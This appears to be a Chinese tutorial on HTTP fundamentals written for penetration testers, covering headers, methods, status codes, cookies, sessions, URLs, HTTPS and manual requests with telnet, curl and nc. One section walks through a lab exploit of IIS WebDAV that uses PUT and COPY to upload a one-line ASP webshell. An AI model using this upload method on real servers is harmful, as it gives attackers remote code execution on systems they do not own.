1,前言:
不管是web开发者还是web渗透者,熟练掌握http协议核心技术点都是非常必要的,深入理解下http协议的关键运作细节,对于我们后面一系列动作的展开都至关重要,当然啦,就http协议本身来讲,还是非常非常复杂的,我们今天就单单站在一个入侵者的角度来学习掌握必要的http协议基础,单靠一篇文档,想全面透彻掌握http协议,肯定不太现实,我们只需要掌握一些我们实际渗透中会用到的东西即可,如果大家真的有精力有兴趣愿意去深入研究http协议,可以自行参考《http权威指南》一书,个人觉得写的还是非常棒的
2,简述 http 工作过程:
客户端向web服务器请求所指定的资源(request) => web服务器(默认端口通常为80,8080)
web服务器响应给客户端所请求的对应的资源数据(response) => 客户端(随机端口和目标web服务端口进行连接)
简单来讲,http就是一套用来规定"请求(request)"和"响应(response)"的规范,以此来确保客户端和服务端能够正常的进行http通信
3,关于 http 的一些基本特性:
- 简洁快速: 客户端只需要传输具体的 "请求方法" 和要请求的 "资源路径",服务器便可快速响应
- 灵活: http 几乎可以传输 "任意类型" 的数据[可在MIME中定义],比如:文本,视频,图片,压缩包,二进制程序等等……
- 无连接:每次连接只处理一个请求,服务器处理完请求并收到客户端正确应答后,即断开连接,这样可以大大的节省传输时间
- 无状态:其实,说简单点,就是客户端和服务器的每个连接都是相互独立的,彼此并不知道彼此的存在,所以,每个连接并不能相互依赖或者在彼此上附加数据
- 比如:一个连接的信息没有处理完,那么它就必须再重新传,而不能继续再'断点'上累加,也就是所谓的 "http是无记忆的",不过在 http 1.1 会保持一个tcp连接
4,需要熟记的一些 http 请求头字段作用[因为请求头我们自己可控,所以针对http的利用大多都在请求头中]:
- http请求方法[常用GET,POST,HEAD] 所请求的服务器资源 所使用的http协议版本(1.1和1.0)
- POST /drupal/?q=node&destination=node HTTP/1.1
- 指明host请求头[如果是http1.1必须指定该字段,它通常是个目标域名,比如,如果有多个虚拟主机,我们就必须指定不同的域名才能访问到不同的网站目录]
- Host: www.target.org
- 客户端操作系统和浏览器版本信息[如果你是用浏览器发起的http请求,默认就会加上这些东西]
- 有些网站为了记录用户信息,可能会把这个也一并记录到数据库中,最后可能会导致的结果就是,脚本在数据中select这些数据的时候难免被注入
- User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:48.0) Gecko/20100101 Firefox/48.0
- 告诉服务器端客户端可以接收那些格式的内容,下面表示可以接收html或xml文件
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
- 告诉服务器端,客户端所支持的语言环境,有很多带有多语言切换的国际版网站[如携程]一般都会先根据此字段来判断客户端的语言环境,然后再返回对应语言的页面
- Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
- 告诉服务器端客户端支持哪种压缩方式,默认都是gzip,加快传输速度,如果不压缩服务器会直接返回文本
- Accept-Encoding: gzip, deflate[压缩算法]
- Accept-Charset: 有时候你还会在请求头中看到这样的字段,它是用来指定客户单所支持的字符集
- 记录到达该页面的上一个url地址,这也是请求头中经常会被利用的一个字段,比如,针对'Referer'的注入
- Referer: http://192.168.3.21/drupal/
- 很多web程序都会基于此字段来获取客户端ip[也就意味着你可以随便篡改客户端ip],然后入库
- 显然,字段我们可控,程序只要再有交互,很容就会被利用,比如,针对'x_forwarded_for'的注入
- x_forwarded_for
- 请求头中cookie信息,很显然,这里的cookie是没有任何参数的,有时候服务器端会把一些敏感参数都写到客户端cookie中做验证,尤其是一些带有用户功能的站点,cookie可能还包含了很多其他的参数
- 尤其是一些商城,论坛类的程序,那么我们就可以针对此字段做些文章,如,基于cookie的注入,盗取cookie[伪造登陆]...,当然,关于cookie自身的属性还有很多,下面会单独说
- Cookie: PHPSESSID=27112bba201d8add0ebbbf8dcdd2bde8; security_level=0; has_js=1
- 告诉服务器端在完成http传输后先不要关闭当前tcp连接,close表示立即关闭,如果是KeepAlive意思就是保持连接[有规定时长,超过会自动断开]
- Connection: close
- 指定消息主体中的内容类型
- Content-Type: application/x-www-form-urlencoded
- 消息主体的内容长度,单位字节
- Content-Length: 119
- 指明到达当前页面的原始位置在哪里,这也是非常重要的字段,后续单独说明
- origin:
- http内置身份验证,像服务器端提交认证证书
- authorization:
- 如果你想,多线程下载或者断点续传可以在请求头中加上该字段
- range:
- 注意,这里还有个空格
- POST消息主体[如果GET请求,是没有消息主体的,它的参数都直接是放到url中传的],和get中的参数一样,一个key对应一个values
- name=admin&pass=admin&form_build_id=form-s6S30NYh20X2pmy-P7R9ybb2fBLkfWlXzosu85DYtn4&form_id=user_login_block&op=Log+in
5,需要熟记的一些http请求方法:
- GET 向服务器请求url中所标识的资源,有时候还会在要请求的资源上附带一些参数,供脚本到数据库去增删改查
- POST 在向服务器请求资源的同时附加一些新的数据在消息主体中
- 常用于各种表单提交,比如:上传,登录/注册,留言板,凡是有大量数据提交的地方基本都会用到
- HEAD 只返回响应头
- PUT 尝试向服务器请求存储一个指定资源,如,webdav的写漏洞
- MOVE 向服务器请求移动某个资源
- COPY 向服务器请求拷贝某个资源
- DELETE 向服务器请求删除url指定的资源
- OPTIONS 通过此方法可帮助我们查询服务器支持哪些请求方法
- 通常,我们可以直接用这种方式来探测目标服务器是否支持一些高危方法 例如:put,delete,move,copy
- 下面是通过OPTIONS方法获取的服务器响应结果:
- HTTP/1.1 200 OK
- Date: Thu, 23 Jun 2016 07:31:08 GMT
- Server: Microsoft-IIS/6.0
- X-Powered-By: ASP.NET
- MS-Author-Via: DAV
- Content-Length: 0
- Accept-Ranges: none
- DASL: <DAV:sql>
- DAV: 1, 2
- Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
- Allow: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
- Cache-Control: private
6,需要熟记的一些 http 响应头字段作用[对于响应头,我们可以直接利用的并不多,除了能获取一些敏感信息外,别的暂时可能对我的实际作用并不是特别大]:
- 响应的http版本号 响应的状态码
- HTTP/1.1 200 OK
- 服务器端时间
- Date: Fri, 17 Mar 2017 12:36:26 GMT
- web服务器版本信息,比如,针对各种web服务器的解析漏洞利用,就需要事先知道明确的web服务器版本类型及其对应的详细版本号
- 以apache和nginx为例,很多人为了安全起见,在编译安装就会在源码中把这些版本特征都改掉,或者在安装后通过修改配置文件把这些版本信息都隐藏掉
- Server: Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g
- web服务器端脚本信息,就php而言,不同的版本,一些漏洞的利用方法也是不一样的
- X-Powered-By: PHP/5.2.4-2ubuntu5
- 是否缓存到浏览器
- Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
- 向客户端浏览器设置cookie,第一次设置完成后,后续客户端再来访问服务器会一直带着这段cookie
- set-cookie:
- P3P头主要用来保护用户隐私
- P3P: CP=" OTI DSP COR IVA OUR IND COM "
- 表示是否允许通过跨域ajax请求获取资源
- access-control-allow-origin
- 服务器可以通过此字段告诉浏览器定时刷新页面,用的非常少
- refresh:
- 指定消息主体内容的缓存过期时间
- Expires: Sun, 19 Nov 1978 05:00:00 GMT
- 告诉浏览器该资源的最后修改时间
- Last-Modified: Fri, 17 Mar 2017 12:36:26 +0000
- 响应消息主体的语言,这还要看客户端请求头中的语言是什么
- Content-Language: en
- 用于重定该响应,在php中有个header()函数功能类似
- location: 指定要跳转到的地址
- 传输完成是否关闭tcp
- Connection: close
- Keep-Alive: timeout=5, max=100
- 消息主体内容的格式和字符集
- Content-Type: text/html; charset=utf-8
- 响应消息主体内容的长度,单位字节
- Content-Length: 8114
6,需要熟记的一些 http 响应状态码:
- 200 表示客户端请求提交成功,并且服务端正常响应数据
- 比如:我们在成功上传webshell以后,会直接去访问url,根据返回,来判断shell是否执行成功,一般看下响应头就可以了,成功即返回200,如果被限制执行则可能会返回403
- 201 一般用put方法,成功在服务器端创建文件后都会返回这个状态码
- 301 请求的资源被找到,永久性的将请求重定向到location所指定的url上,后面的所有请求都将被重定向
- 302 请求的资源被找到,只是暂时性的将请求重定向到localtion所指定的url上,随后的请求将不再重定向
- 400 客户端提交了一个无效的http请求
- 401 表示你访问所请求的资源之前需要http身份验证,认证通过后才能访问该资源
- 403 禁止任何人访问该资源,有时候我们在盲打后台或者尝试注入的时候可能就会遇到这样的状态码,多半是因为禁止目录遍历或者waf拦截,再或者就是web端做了一些敏感检测策略[如,nginx配置就相当灵活]
- 404 表示所请求的资源在服务器上不存在
- 405 当服务器不支持所请求的方法,一般都会返回这个状态码 例如:put copy move delete
- 413 有时候在测试缓冲区溢出时会返回此状态码
- 500 请求的资源在服务器端执行出错,比如,在请求时加了一些特殊字符,或者服务端脚本自身的语法出错,都会导致500
- 502 一般是由于网站连接过多,服务器暂时无法正常响应造成的
- 503 虽然web服务器运转正常,但后端的脚本程序无法做出响应
7,什么是 cookie:
除了正常的GET或者POST传参之外,cookie则是另一种传参方式,它无需用户或者应用干预,客户端和服务器的每次请求响应都会带上该cookie,需要注意的是,cookie是存在客户端浏览器的缓存或者硬盘上的临时文件中的,对于一些敏感cookie参数[账号密码],一般都设有过期时间[过期会自动删除],当然你也可以手动删除,核心在于它是放在客户端的[可控],有可能会泄露
需要了解的几个常见的cookie内置属性:
- expires: 指定cookie过期时间
- domain: 指定cookie有效作用域
- path: 指定cookie有效的url
- secure: 用于在https中提交的cookie
- httponly: 设置此属性以后,可以一定程度上防止js直接读取cookie数据,现在为了防止cookie被盗,一般都会加上此字段,不过上次偶然看了一篇可以绕过httponly的文章,后续再单独说
8,session 又是什么东西呢:
由于http无状态,要想在服务器端标示跟踪每个不同的用户身份,我们就需要利用到session[其实就是cookie中的PHPSEESSIONID,作为用户唯一标示],比如,我们在写一些商城程序时,购物车中的数据都会被暂时写到session中,而session是被放在服务器端的[一般是/tmp目录下],导致用户不可控,相对安全一些,如果一个session长时间没有动作或者你突然关闭了浏览器,服务器会自动回收并销毁对应的sessionid,实际开发中,一般cookie和session都是相互配置使用的
9,GET 和 POST 的区别:
- GET 直接把参数放在url中传递,所以在url是可以看到的
- POST把数据附加在http消息主体里面进行传递,在url中是不可见的
注意:它们都有数据长度的限制,但这个并不是http协议本身的限制,它的长度还是取决于当前的操作系统和浏览器,有些漏洞的利用可能会用到这种特性,如,超长截断问题,不仅仅在web脚本中会出现,数据库也同样会出现类似的问题
10,关于伪静态的( url重写 )问题:
本质就是利用正则,隐藏动态参数,加大外部攻击指定参数的难度,另外,这样做也更利于搜索引擎抓取,提高用户体验,不过,在猜出对方正则的情况下,还是可以利用本地代理的方式进行检测
11,http 正向及反向代理:
正向代理
很多时候我们会遇到这样的情况,我们自己没法正常访问目标网站,但我们有一台可以正常访问目标网站,的机器,然后你可以把自己本地的代理改成那台机器的ip和指定端口,这样我们就可以通过那台机器来访问目标站了,主要还是数据流向
反向代理:
最典型的应用可能就是ngnix了,当你去访问一比较大的电商站时[如,jd,当当],请求其实会先到达代理服务器,然后由代理服务器来分发给后台的其他web服务器处理,至于如何分发则由其内部的负载均衡算法决定,理解数据流向就好,关于架构后续有机会再单独说
12,了解完 http 最重要的内容以后,我们再来简单认识下,什么是 URL 和 URI:
URI[统一资源标识符]作用:
其实,就是专门用来标示互联网上所有计算机资源的字符串,当然这些资源不仅仅包括,文档,图像,视频,二进制程序……别人只需通过某种指定的协议以及资源所存放的主机名[ip或域名],资源自身的名称,资源在该主机下的具体路径就可以访问到该资源,所以互联网上的一切计算机资源都可以被称作URI,因此它所表示的范围非常大
例如:下面这些,它们都算URI
- http://www.klionsec.org/detail.php?id=12&action=upload
- <a href=mailto:klion@china.net>测试邮件</a>
URL[统一资源定位符]作用:
只是用来唯一的标识某台计算机上的某个资源,它所能代表的范围相对比较小,URL只是URI的一部分或者说子集,也可以这么说每个URL肯定都是URI
URL的必要组成部分:
- 访问这个资源时所使用的协议: //主机名[一般是域名或者IP]:按规定好的端口去访问这个资源/具体的资源路径
注意:http默认的tcp端口是80,如果在浏览器中访问,浏览器会默认帮你加上80,所以你在url是看不到的
如果你要访问的是一个8080端口的web服务,那你就应该这样写 http://www.demo.com:8080/file.php?id=12
如果你要访问的是一个443端口的web服务,你就应该这样写 https://www.demo.com:/sslvpn
还有一些web服务可能并不在这些常见web端口上,尤其是目标的一些内部web服务,比如:http://oa.demo.com:12345/login.aspx
例如下面这句话的意思就表示:
使用http协议去www.xxx.com这个主机上通过8080端口找到files目录下的xx.rar文件
- http://www.xxx.com:8080/files/xx.rar
用于访问的协议还可以是:
ftp,http,file……
什么是url传参:
例如下面这个url:
- http://www.xxx.com/news.php?id=12
这句话的意思就相当于,用http协议在www.xxx.com这个主机上找到news.php这个资源,并向这个资源传了一个名叫id的参数,参数的值为12
'?' 在这里的意思就是给news.php这个文件附加一个参数值,这个值一般都会通过后端脚本提交到数据库中去增删改查
如果要同时连续传递几个不同的参数给相应的资源,可以用 '&' 进行连接,例如像下面这样:
- http://wwww.xxx.com/news.php?id=12&uid=34
什么是相对URI/URL 和 绝对URI/URL[其实,跟绝对路径和相对路径差不多]:
绝对URI/URL:
- http://www.xxx.com/images/logo.gif
相对URI/URL:
- <a href="../../cat.jpg" alt="这是一只猫">猫</a>
其实,对于URL和URI的概念,大家不必太过纠结,你可以这样理解
比如,我要去买一件T恤,首先,我要知道这件T恤在哪里有卖的[这件T恤就相当于我们要访问的那个计算机资源],当然,我们知道商场肯定有卖的对吧[商场就相当于我们要定位到的主机名],下一步,也许我们就会想到,该怎么去商场呢,徒步去,打的还是坐公交呢[去商场的方式就相当于我们要使用哪种协议去访问那个资源],到了商场以后我们还要知道这件T恤在哪家店铺里[就相当于我们要访问的这个资源在这台主机的哪个目录下],最后,你找到了那家店铺里的那件T恤[也就是你最终要访问的资源],网络中的所有资源访问基本都是类似,我们访问网络中的任何一个资源都需要有一个明确的'URI'[如果站到协议底层的角度来说它就不单单是'URI'了]来给我们指路,以找到我们所需要的资源
13,在http的基础上理解 https[TLS/SSL,默认web端口 443]:
- 1,浏览器将自己支持的一套加密规则发送给网站
- 2,网站从中选出一组加密算法与HASH算法,并将自己的身份信息以证书的形式返回给浏览器,证书里面包含了网站地址,加密公钥,以及证书的颁发机构等信息
- 3,浏览器获得网站证书之后就开始下面的动作:
- a) 验证证书的合法性(颁发证书的机构是否合法,证书中包含的网站地址是否与正在访问的地址一致等),如果证书受信任,则浏览器栏里面会显示一个小锁头,否则会给出证书不受信的提示
- b) 如果证书受信任,或者是用户接受了不受信的证书,浏览器会生成一串随机数的密码,并用证书中提供的公钥加密
- c) 使用约定好的HASH算法计算握手消息,并使用生成的随机数对消息进行加密,最后将之前生成的所有信息发送给网站
- 4,网站接收浏览器发来的数据之后要做以下的操作
- a) 使用自己的私钥将信息解密取出密码,使用密码解密浏览器发来的握手消息,并验证HASH是否与浏览器发来的一致
- b) 使用密码加密一段握手消息,发送给浏览器
- 5,浏览器解密并计算握手消息的HASH,如果与服务端发来的HASH一致,此时握手过程结束,之后所有的通信数据将由之前浏览器生成的随机密码并利用对称加密算法进行加密
- 6,也许大家都很清楚,即使是https也并非一定那么安全,针对https的中间人利用[核心还是需要有一个受信任的证书],我们后续再单独说,这里就先大致了解下https的基本运作流程
14,说完http ,我们就来简单看下,如何快速发起一次http/https请求:
1),利用原生的telnet
- # telnet www.baidu.com 80
- ctrl + ]
- 记得直接回车再开始输入下面的内容
- GET / HTTP/1.1
- HOST:WWW.BAIDU.COM
2),利用curl
- -I 只返回HTTP头
- -m 10 最多查询10s
- -o 把输出提示信息都丢到null里面去,当然,只有在linux中才有null
- -X 用指定http方法请求
- win:
- 只返回响应头部信息
- # curl -I www.dangdang.com
- 只返回响应的状态码
- # curl -I -m 10 -o /dev/null -s -w %{http_code} www.dangdang.com
- linux:
- 只返回响应的状态码
- # curl -I -m 10 -o /dev/null -s -w %{http_code}"\n" www.baidu.com
- # curl -I -m 10 -o /dev/null -s -w %{http_code}"\n" 192.168.3.189
3),在浏览器地址栏中直接输入目标域名回车访问即可
4),所有带有src,href属性的html标记,触发以后默认都会发起一次http请求
5),同样,利用nc同样也可以发起一次简单的http请求
- # nc -v 192.168.3.3 80
6),手工发起一次https请求,手工发起http请求差不多,只需要先用证书
- # openssl s_client -quiet -connect www.baidu.com:443
7),利用各类语言中的各种库函数也可发起http请求,例如php中的一些函数,如header(),location()….
15,为了简单回顾一下上述内容,我们就以古老的IIS写利用为例,通过telnet纯手工上传一个asp的webshell:
首先,探测目标web服务器是否支持PUT,MOVE,COPY方法,很显然,这里是支持put的,因为我的webdav[可以理解为加强版的http,增加了很多方法]事先已经开启且网站目录可写,脚本资源亦可访问
- # telnet 192.168.3.3 81
- ctrl + ]
- OPTIONS / HTTP/1.1
- HOST:192.168.3.3
确认,服务器开启put方法以后,尝试请求写入一句话,最好用txt等一些iis默认不支持解析的文件名,要不然容易出问题
- PUT /shell.txt HTTP/1.1
- HOST:192.168.3.3
- Content-Length:28
- 记住这里一定要换行输入才可以,http默认以空行作为请求的结束
- <%execute request('klion')%>
最后,将创建好的shell复制重命名成脚本的后缀
- COPY /shell.txt HTTP/1.1
- HOST:192.168.3.3
- Destination: http://192.168.3.3:81/shell.asp
16,我们再来粗略看下nginx的日志文件格式[当然啦,这个格式可以在web服务器配置文件中自定义],其它的web服务器日志格式都基本类似,看日志主要是想让大家明白,我们干活的时候都会在目标留下些什么:
- 192.168.3.70 - - [25/Jun/2017:17:49:14 +0800] "GET / HTTP/1.1" 304 0 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36" "-"
- 访问者的ip 访问时间用什么方法请求那个文件或目录资源返回的状态码 客户端浏览器信息
17,http 运作一次的粗略流程:
- -->低层tcp连接建立
- -->高层http连接建立
- -->客户端向web服务器发送http请求头部信息
- -->等待web服务器返回响应头和所请求的资源数据,格式以content-type中规定的格式进行显示,空白行结束此次响应
- -->随后,web服务器关闭tcp